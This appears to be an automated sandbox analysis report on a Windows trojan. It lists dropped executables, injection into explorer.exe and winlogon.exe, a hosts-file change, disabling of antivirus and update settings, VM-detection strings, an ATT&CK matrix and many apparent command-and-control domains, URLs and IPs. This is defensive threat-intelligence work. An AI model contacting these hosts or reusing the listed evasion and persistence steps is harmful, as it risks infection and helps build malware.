Source: C:\Windows\SysWOW64\rmass.exe	Window / User API: threadDelayed 5015	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 880	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 872	Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_1-10000

Source: C:\Windows\SysWOW64\rmass.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\ntdbg.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\RECOVER32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\ahuy.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\rmass.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_1-10010

Source: C:\Users\user\Desktop\NpHauDPoR8.exe	API coverage: 0.4 %
Source: C:\Windows\SysWOW64\rmass.exe	API coverage: 0.0 %

Source: C:\Windows\SysWOW64\rmass.exe

Execution coverage: 0.0 %

Source: C:\Windows\SysWOW64\rmass.exe TID: 7348	Thread sleep count: 4528 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe TID: 7348	Thread sleep time: -4528000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe TID: 7452	Thread sleep count: 114 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe TID: 7452	Thread sleep time: -68400000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe TID: 7348	Thread sleep count: 5015 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe TID: 7348	Thread sleep time: -5015000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: explorer.exe, 00000004.00000002.4180882296.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000004.00000000.1712490988.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000004.00000000.1712490988.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000004.00000002.4180882296.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000004.00000000.1708403572.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000004.00000003.3109108187.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000002.4180882296.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: NpHauDPoR8.exe, 00000000.00000002.1704577805.000000000071E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
Source: explorer.exe, 00000004.00000002.4175947792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000004.00000000.1712490988.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: explorer.exe, 00000004.00000002.4179717603.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1712490988.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1712490988.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4179717603.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000004.00000002.4180882296.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000004.00000000.1716859464.000000000CAB6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}
Source: explorer.exe, 00000004.00000000.1709945572.0000000007A34000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4177106660.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000004.00000000.1712490988.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000004.00000000.1708403572.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000004.00000000.1708403572.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\SysWOW64\rmass.exe

API call chain: ExitProcess graph end node

graph_1-10004

Source: C:\Windows\SysWOW64\rmass.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\NpHauDPoR8.exe

0_2_004035CF

Source: C:\Users\user\Desktop\NpHauDPoR8.exe

0_2_0040370C

Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Code function: 0_2_0040354A mov eax, dword ptr fs:[00000030h]	0_2_0040354A
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 1_2_0040354A mov eax, dword ptr fs:[00000030h]	1_2_0040354A
Source: C:\Windows\SysWOW64\rmass.exe	Code function: 2_2_0040354A mov eax, dword ptr fs:[00000030h]	2_2_0040354A

Source: C:\Users\user\Desktop\NpHauDPoR8.exe

Code function: 0_2_0040354A EntryPoint,GetProcessHeap,GetVersionExA,LoadLibraryA,GetModuleFileNameA,GetCommandLineA,GetProcAddress,GetCurrentProcessId,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetWindowsDirectoryA,lstrcat,CreateFileA,lstrcmpiA,wsprintfA,CreateMutexA,GetLastError,ExpandEnvironmentStringsA,CreateFileA,CreateThread,CloseHandle,GetComputerNameA,lstrcpy,wsprintfA,lstrcpy,lstrcat,RegCreateKeyA,

0_2_0040354A

Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\rmass.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1BEF0000 protect: page read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Memory allocated: C:\Windows\explorer.exe base: 3180000 protect: page read and write			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\rmass.exe

Memory written: PID: 2580 base: 3180000 value: 43

Jump to behavior

Modifies the hosts file

Source: C:\Windows\SysWOW64\rmass.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\rmass.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1BEF0000			Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Memory written: C:\Windows\explorer.exe base: 3180000			Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe

Code function: GetProcAddress,GetModuleFileNameA,GetCommandLineA,CreateToolhelp32Snapshot,GetCurrentProcessId,Process32First,Process32Next,CloseHandle,WaitForSingleObject,CloseHandle,GetStartupInfoA,OpenProcess,CreateProcessA,ExitProcess,CreateFileA,GetFileSize,InitOnceBeginInitialize,ReadFile,CloseHandle,CreateThread,CloseHandle, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe

1_2_004035CF

Source: winlogon.exe, 00000003.00000002.4173020926.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000003.00000000.1706594919.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.4179717603.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000003.00000002.4173020926.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000003.00000000.1706594919.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.4171419858.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000002.4170341145.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1708403572.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: winlogon.exe, 00000003.00000002.4173020926.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000003.00000000.1706594919.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.4171419858.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: winlogon.exe, 00000003.00000002.4173020926.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000003.00000000.1706594919.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.4171419858.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\NpHauDPoR8.exe

Code function: 0_2_00404A24 GetSystemDirectoryA,lstrcat,lstrcat,CreateMutexA,WaitForSingleObject,CloseHandle,Sleep,SetFileAttributesA,CreateFileA,WriteFile,lstrlen,lstrcpy,WriteFile,SetFileTime,CloseHandle,CreateFileA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,RegDeleteKeyA,RegDeleteValueA,RegCloseKey,lstrcmpiA,lstrcmpiA,SetFileAttributesA,DeleteFileA,CreateFileA,GetFileSize,CloseHandle,ReadFile,lstrcpy,lstrcpy,ExpandEnvironmentStringsA,GetTempFileNameA,CreateFileA,GetTempPathA,GetTempFileNameA,CreateFileA,InitOnceBeginInitialize,WriteFile,CloseHandle,CreateFileA,GetSystemDirectoryA,lstrcat,lstrcat,SetFileAttributesA,CreateFileA,WriteFile,SetFileTime,CloseHandle,GetLastError,ExpandEnvironmentStringsA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,GetTempPathA,lstrcat,SetFileAttributesA,CreateFileA,GetLastError,CreateFileA,GetSystemDirectoryA,lstrcat,ExpandEnvironmentStringsA,ExpandEnvironmentStringsA,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegDeleteValueA,RegCloseKey,RegCreateKeyA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegDeleteValueA,RegEnumValueA,wsprintfA,RegSetValueExA,RegCloseKey,CreateThread,CloseHandle,RegCreateKeyExA,GetSystemTimeAsFileTime,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,SetFileAttributesA,RegCreateKeyA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegOpenKeyExA,RegOpenKeyExA,lstrlen,RegSetValueExA,RegCloseKey,RegCreateKeyExA,RegCreateKeyExA,RegSetValueExA,RegCloseKey,SetFileAttributesA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCreateKeyA,lstrlen,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCreateKeyA,RegCloseKey,SetFileAttributesA,Sleep,RegCreateKeyExA,RegQueryValueExA,RegSetValueExA,RegDeleteValueA,Sleep,RtlAdjustPrivilege,NtShutdownSystem,ExitWindowsEx,RegCloseKey,

0_2_00404A24

Source: C:\Users\user\Desktop\NpHauDPoR8.exe

0_2_0040354A

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\SysWOW64\rmass.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center AntiVirusOverride

Jump to behavior

Modifies the hosts file

Source: C:\Windows\SysWOW64\rmass.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Modifies windows update settings

Source: C:\Windows\SysWOW64\rmass.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU NoAutoUpdate

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 Registry Run Keys / Startup Folder	312 Process Injection	121 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 File and Directory Permissions Modification	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	11 Image File Execution Options Injection	1 DLL Side-Loading	2 Disable or Modify Tools	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Image File Execution Options Injection	21 Virtualization/Sandbox Evasion	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	312 Process Injection	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	3 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
NpHauDPoR8.exe	92%	ReversingLabs	Win32.Trojan.Ulpm
NpHauDPoR8.exe	85%	Virustotal		Browse
NpHauDPoR8.exe	100%	Avira	TR/Drop.Age.apd.1.E
NpHauDPoR8.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\rmass.exe	100%	Avira	TR/Drop.Age.apd.1.E
C:\Windows\SysWOW64\ntdbg.exe	100%	Avira	TR/Drop.Age.apd.1.E
C:\Users\user\AppData\Roaming\tmpE02.tmp	100%	Avira	TR/Drop.Age.apd.1.E
C:\Windows\SysWOW64\ahuy.exe	100%	Avira	TR/Drop.Age.apd.1.E
C:\Windows\SysWOW64\rmass.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\ntdbg.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\ahuy.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\RECOVER32.DLL	48%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\SysWOW64\rmass.exe	92%	ReversingLabs	Win32.Trojan.Ulpm

Source	Detection	Scanner	Label
http://knqeasqwo.cd/	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz/d/N?028549D3D68549D3D6AB49FFD68549FB6E8165F1128449137E874DE5F8B767EAE4B579F	0%	Avira URL Cloud	safe
http://oqqhbcoxcyqsw.cd/ed	0%	Avira URL Cloud	safe
http://wxgprhgqiei.museum/3	0%	Avira URL Cloud	safe
http://mtgos.pw/	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?0218878814188788143687A4141887A0AC1CABAAD0198748BC1A83BE3A2AA9B12628B7A614Xs	0%	Avira URL Cloud	safe
http://coaccvbciv.st/	0%	Avira URL Cloud	safe
http://argunoos.biz/d/N?02226EC14D226EC14D0C6EED4D226EE9F52642E389236E01E5206AF7631040F87F125EEF4Dtf	0%	Avira URL Cloud	safe
http://argunoos.biz/d/N?028E8843D48E8843D4A0886FD48E886B6C8AA461108F88837C8C8C75FABCA67AE6BEB86DD4	0%	Avira URL Cloud	safe
http://mgsufsmmbq.museum/ts	0%	Avira URL Cloud	safe
http://anpurih.biz/d/N?02B6B6613EB6B6613E98B	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0265A4440B65A4440B4BA4680B65A46CB3618866CF64A484A367A07225578A7D3955946	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?023F7B34FB3F7B34FB117B18FB3F7B1C433B57163F3E7BF4533D7F02D50D550DC90F4B1AFB=	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?022EE32F022EE32F0200E303022EE307BA2ACF0DC62FE3EFAA2CE7192C1CCD16301ED30	0%	Avira URL Cloud	safe
http://ukgyw.pw/d	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?022629C2952629C2950829EE952629EA2D2205E0512729023D242DF4BB1407FBA71619EC95	0%	Avira URL Cloud	safe
http://anpurih.biz/d/N?02B6B6613EB6B6613E98B64D3EB6B64986B29A43FAB7B3	0%	Avira URL Cloud	safe
http://wgnuhce.cd/d	0%	Avira URL Cloud	safe
http://69.50.173.166/gdnOT2424.exegrazie.gifhttp://utbidet-ugeas.biz/d/ccUseDflProfileUseExtProfileC	0%	Avira URL Cloud	safe
http://murxwyoxuauqe.museum/	0%	Avira URL Cloud	safe
http://ckgudj.tk/nnectionSettings	100%	Avira URL Cloud	malware
http://argunoos.biz/d/N?025B5B1E4E5B5B1E4E755B324E5B5B36F65F773C8A5A5BDEE6595F28606975277C6B6B304EGk	0%	Avira URL Cloud	safe
http://ioblqwvkm.museum/	0%	Avira URL Cloud	safe
http://oqqhbcoxcyqsw.cd//	0%	Avira URL Cloud	safe
http://oqryiicdajaf.museum/	0%	Avira URL Cloud	safe
http://xgswoeoxdde.pw/	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02252A0556252A05560B2A2956252A2DEE21062792242AC5FE272E337817043C64151A2B56	0%	Avira URL Cloud	safe
http://anpurih.biz/d/N?028FFAC4CF8FFAC4CFA1FAE8CF8FFAEC778BD6E60B8EFA04678DFEF2E1BDD4FDFDBFCAEACF	0%	Avira URL Cloud	safe
http://rxcomqytho.tk/p	100%	Avira URL Cloud	malware
http://ikxyhewbcoyaw.nu/	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz/d/N?02B8719941B87199419671B541B871B1F9BC5DBB85B97159E9BA75AF6F8A5FA0738841B	0%	Avira URL Cloud	safe
http://kissyuj.cd/	0%	Avira URL Cloud	safe
http://okqsp.st/	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz/d/N?02593946405939464077396A4059396EF85D156484583986E85B3D706E6B177F7269096	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02B2B5F1E0B2B5F1E09CB5DDE0B2B5D958B699D324B3B53148B0B1C7CE809BC8D28285DFE0	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02D31B4852D31B4852FD1B6452D31B60EAD7376A96D21B88FAD11F7E7CE1357160E32B6652	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02F042D0D3F042D0D3DE42FCD3F042F86BF46EF217F142107BF246E6FDC26CE9E1C072FED3	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02F096C79EF096C79EDE96EB9EF096EF26F4BAE55AF1960736F292F1B0C2B8FEACC0A6E99E	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?022C0437A62C0437A602041BA62C041F1E282815622D04F70E2E0001881E2A0E941C3419A6	0%	Avira URL Cloud	safe
http://argunoos.biz/d/N?0296B13B4A96B13B4AB8B1174A96B113F2929D198E97B1FBE294B50D64A49F0278A681154A-	0%	Avira URL Cloud	safe
http://%s.biz/d/N?	0%	Avira URL Cloud	safe
http://dyrlgtmsr.nu/	0%	Avira URL Cloud	safe
http://sucqgwmgtooxj.st/ed	0%	Avira URL Cloud	safe
http://wsani.cd/	0%	Avira URL Cloud	safe
http://docscsgcgis.nu/	0%	Avira URL Cloud	safe
http://wxgprhgqiei.museum/k	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02D31B4852D31B4852FD1B6452D31B60EAD7376A96D21B88FAD11F7E7CE1357160E32B6	0%	Avira URL Cloud	safe
http://oussi.mp/	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz/d/N?020A92A3A50A92A3A524928FA50A928B1D0EBE81610B92630D0896958B38BC9A973AA28	0%	Avira URL Cloud	safe
http://argunoos.biz/d/N?02248B0BF7248B0BF70A8B27F7248B234F20A72933258BCB5F268F3DD916A532C514BB25F7	0%	Avira URL Cloud	safe
http://mwwocic.cd/	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?0289E7D9BA89E7D9BAA7E7F5BA89E7F1028DCBFB7E88E719128BE3EF94BBC9E088B9D7F7BA	0%	Avira URL Cloud	safe
http://rxcomqytho.tk/ectionSettings	100%	Avira URL Cloud	malware
http://wxgprhgqiei.museum/c	0%	Avira URL Cloud	safe
http://aqpebuwzmsaw.mp/D_	0%	Avira URL Cloud	safe
http://caqvxcjyaj.nu/	0%	Avira URL Cloud	safe
http://gmsekkuoqcibq.mp/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0298CEA99B98CEA99BB6CE859B98CE81239CE28B5F99CE69339ACA9FB5AAE090A9A8FE8	0%	Avira URL Cloud	safe
http://vvmamxwaowu.tk/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02F6C24BFAF6C24BFAD8C267FAF6C26342F2EE693EF7C28B52F4C67DD4C4EC72C8C6F26	0%	Avira URL Cloud	safe
http://ukgyw.pw/	0%	Avira URL Cloud	safe
http://oxuamhgwomyql.mp/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02D00325D0D00325D0FE0309D0D0030D68D42F0714D103E578D20713FEE22D1CE2E0330	0%	Avira URL Cloud	safe
http://anpurih.biz/d/N?020FFE9F6D0FFE9F6D21FEB36D0FFEB7D50BD2BDA90EFE5FC50DFAA9433DD0A65F3FCEB16D	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02DF6C2A9FDF6C2A9FF16C069FDF6C0227DB40085BDE6CEA37DD681CB1ED4213ADEF5C0	0%	Avira URL Cloud	safe
http://xwfqkjefa.museum/	100%	Avira URL Cloud	malware
http://argunoos.biz/d/N?02ACB92F34ACB92F3482B90334ACB9078CA8950DF0ADB9EF9CAEBD191A9E9716069C890134	0%	Avira URL Cloud	safe
http://coeonpsesopck.mp/	0%	Avira URL Cloud	safe
http://anpurih.biz/d/N?02DF3A2E6ADF3A2E6AF13A026ADF3A06D2DB160CAEDE3AEEC2DD3E1844ED141758EF0A006A	0%	Avira URL Cloud	safe
http://fmslnmq.st/	0%	Avira URL Cloud	safe
http://gqvpmamcaek.pw/maioiowqy.pw/	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz/d/N?0298E088E198E088E1B	0%	Avira URL Cloud	safe
http://efwqk.mp/	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?02943B6BF2943B6BF2BA3B47F2943B434A90174936953BAB5A963F5DDCA61552C0A40B45F2	0%	Avira URL Cloud	safe
http://mwwocic.cd/al	0%	Avira URL Cloud	safe
http://aawwbcseutmfcl.tk/d	0%	Avira URL Cloud	safe
http://coeonpsesopck.mp/d	0%	Avira URL Cloud	safe
http://unmomis.biz/d/N?028E5888638E588863A058A4638E58A0DB8A74AAA78F5848CB8C5CBE4DBC76B151BE68A663	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02CAA30B6CCAA30B6CE4A3276CCAA323D4CE8F29A8CBA3CBC4C8A73D42F88D325EFA932	0%	Avira URL Cloud	safe
http://wgnuhce.cd/	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz/d/N?025469C1C45469C1C47A69EDC45469E97C5045E3005569016C566DF7EA6647F8F66459E	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?026073BAAC6073BAAC4E7396AC60739214645F986861737A0462778C82525D839E50439	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz/d/N?02C4C612E9C4C612E9EAC63EE9C4C63A51C0EA302DC5C6D241C6C224C7F6E82BDBF4F63	0%	Avira URL Cloud	safe
http://zuucswx.tk/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02F8D0171DF8D0171DD6D03B1DF8D03FA5FCFC35D9F9D0D7B5FAD42133CAFE2E2FC8E0391D	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0235032972350329721B030572350301CA312F0BB63403E9DA37071F5C072D104005330	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02DF6C2A9FDF6C2A9FF16C069FDF6C0227DB40085BDE6CEA37DD681CB1ED4213ADEF5C049F	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/rpt?http://%s.biz/d/G?http://%s.biz/d/N?idbg32.exeaset32.exeSOFTWARE	0%	Avira URL Cloud	safe
http://isfusus-omoab.biz/d/N?029CC459F59CC459F5B2C475F59CC4714D98E87B319DC4995D9EC06FDBAEEA60C7ACF47	0%	Avira URL Cloud	safe
http://iqyjfsacgai.st/	0%	Avira URL Cloud	safe
http://argunoos.biz/d/N?02CCDC7644CCDC7644E2DC5A44CCDC5EFCC8F05480CDDCB6ECCED8406AFEF24F76FCEC5844	0%	Avira URL Cloud	safe
http://anpurih.biz/d/N?02EB7FF3BFEB7FF3BFC57FDFBFEB7FDB07EF53D17BEA7F3317E97BC591D951CA8DDB4FDDBFg	0%	Avira URL Cloud	safe
http://wcpvv.st/d	0%	Avira URL Cloud	safe
http://qyrcizm.mp/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
wffcc.ws	64.70.19.203	true	false	unknown
oqgqwc.vg	88.198.29.97	true	false	unknown
oixkoeuv.ws	64.70.19.203	true	false	unknown
sztodskynsh.vg	88.198.29.97	true	false	unknown
awgiouqsgbx.ws	64.70.19.203	true	false	unknown
yeayernlfuuer.vg	88.198.29.97	true	false	unknown
cqzpqvbhujvch.vg	88.198.29.97	true	false	unknown
imyoeiuwedy.vg	88.198.29.97	true	false	unknown
sgykkmj.vg	88.198.29.97	true	false	unknown
oqkfrftagqq.ws	64.70.19.203	true	false	unknown
zsgpbvk.ws	64.70.19.203	true	false	unknown
oqglsou.ws	64.70.19.203	true	false	unknown
emyyye.vg	88.198.29.97	true	false	unknown
wkmysnme.ws	64.70.19.203	true	false	unknown
xjamiok.ws	64.70.19.203	true	false	unknown
useay.ws	64.70.19.203	true	false	unknown
idmagweywhpmw.ws	64.70.19.203	true	false	unknown
swnalczejnim.ws	64.70.19.203	true	false	unknown
neyzcipedtypk.ws	64.70.19.203	true	false	unknown
wwjlfmma.ws	64.70.19.203	true	false	unknown
